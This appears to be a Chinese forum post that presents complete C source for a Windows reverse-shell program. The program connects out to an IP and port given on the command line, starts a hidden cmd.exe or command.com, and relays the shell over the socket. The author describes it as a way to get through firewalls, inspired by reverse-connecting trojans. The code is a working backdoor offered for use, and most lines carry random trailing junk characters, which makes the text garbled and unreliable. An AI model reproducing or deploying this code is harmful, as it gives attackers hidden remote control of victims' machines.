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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IX 2 dic'  
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/* ============================== 6^"Spf]  
Rebound port in Windows NT `-82u :"  
By wind,2006/7 J0 x)NnWJ  
===============================*/ 7,EdJ[CR$  
#include Ya-kM UW  
#include D1 f}g  
w|8T6W|w  
#pragma comment(lib,"wsock32.lib") jB%aHUF;  
- 1tiy.^$F  
void OutputShell(); L+2<J,   
SOCKET sClient; Ex$i8fO(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o) ,1R:  
jZ>x5 W  
void main(int argc,char **argv) F>[T)t{m=  
{ NuC+iC$_/  
WSADATA stWsaData; {:c5/ ,7c;  
int nRet; BBlYy5x  
SOCKADDR_IN stSaiClient,stSaiServer; ^;a~_9 m-  
2"!s8x1$  
if(argc != 3) K)F6TvWv  
{ ]?a i  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4b :q84  
return; <e@+w6Kp'7  
} QL`Hb p  
MPD<MaW$  
WSAStartup(MAKEWORD(2,2),&stWsaData); xv>]e <":  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >K-S&Y  
qv.s-@l8  
stSaiClient.sin_family = AF_INET; 3DS&-rN  
stSaiClient.sin_port = htons(0); Iju9#b6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F!&$Z .  
:"I!$_E'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yJ?S7+b  
{ q=`i  
printf("Bind Socket Failed!\n"); Dt=@OZW  
return; KetNFwbUf  
} /V$U%0  
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stSaiServer.sin_family = AF_INET; `(o:;<&3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -]k vM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;HoBLxb P  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h0)Dj( C  
{ k}FmdaPI'  
printf("Connect Error!"); I::|d,bR!  
return; ]YWz;Z  
} Dg o -Os@  
OutputShell(); TNkvdE-S  
} fuF!3Q  
1j?+rs+o-  
void OutputShell() _|I`A6`=  
{  jWqjGX`  
char szBuff[1024]; \x;`8H  
SECURITY_ATTRIBUTES stSecurityAttributes; Bw25+l Px  
OSVERSIONINFO stOsversionInfo; 25{-GaB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  aK33bn'j  
STARTUPINFO stStartupInfo; a(oa?OdJ  
char *szShell; u4vyj#V  
PROCESS_INFORMATION stProcessInformation; 5)iOG#8qJ  
unsigned long lBytesRead; $* hqF1Q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6&`hf >  
h1 pEC  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5L\&"['  
stSecurityAttributes.lpSecurityDescriptor = 0; "kd)dy95H  
stSecurityAttributes.bInheritHandle = TRUE; " `FcW  
jIi:tO9G^,  
x7ZaI{    
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y XT8:2M  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ra/Pk G-7  
VDTt}J8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7m:ZG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (NC]S  
stStartupInfo.wShowWindow = SW_HIDE; E.eUd4XG  
stStartupInfo.hStdInput = hReadPipe; _9:r4|S  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2mEvoWnJ  
mLm?yb:  
GetVersionEx(&stOsversionInfo); 7!U^?0?/  
"Tz'j}< 9C  
switch(stOsversionInfo.dwPlatformId) Fj4>)!^kM  
{ *WaqNMD[%  
case 1: WT63ve  
szShell = "command.com"; a(uZ}yS$  
break; 5yk#(i 7C  
default: zd|n!3;  
szShell = "cmd.exe"; 5y8VA4L/o  
break; c*.-mS~Z`  
} @L$!hTaP  
dVe,;?+A  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q>(a JF  
QtQbr*q@%  
send(sClient,szMsg,77,0); =}zSj64  
while(1) OXJ'-EZH  
{ * o{7 a$V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /]oQqZHv  
if(lBytesRead) e2^TQv2(=e  
{ %'OY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _Wqy,L;J  
send(sClient,szBuff,lBytesRead,0); ;2P  
} }`.d4mm  
else &EmG\vfE  
{ {B-*w%}HU  
lBytesRead=recv(sClient,szBuff,1024,0); IGNU_w4j  
if(lBytesRead<=0) break; )$ M2+_c  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LhRd0  
} Swr4De_5  
} QQJf;p7  
3 3zE5vr  
return; h:RP/ 0E  
}
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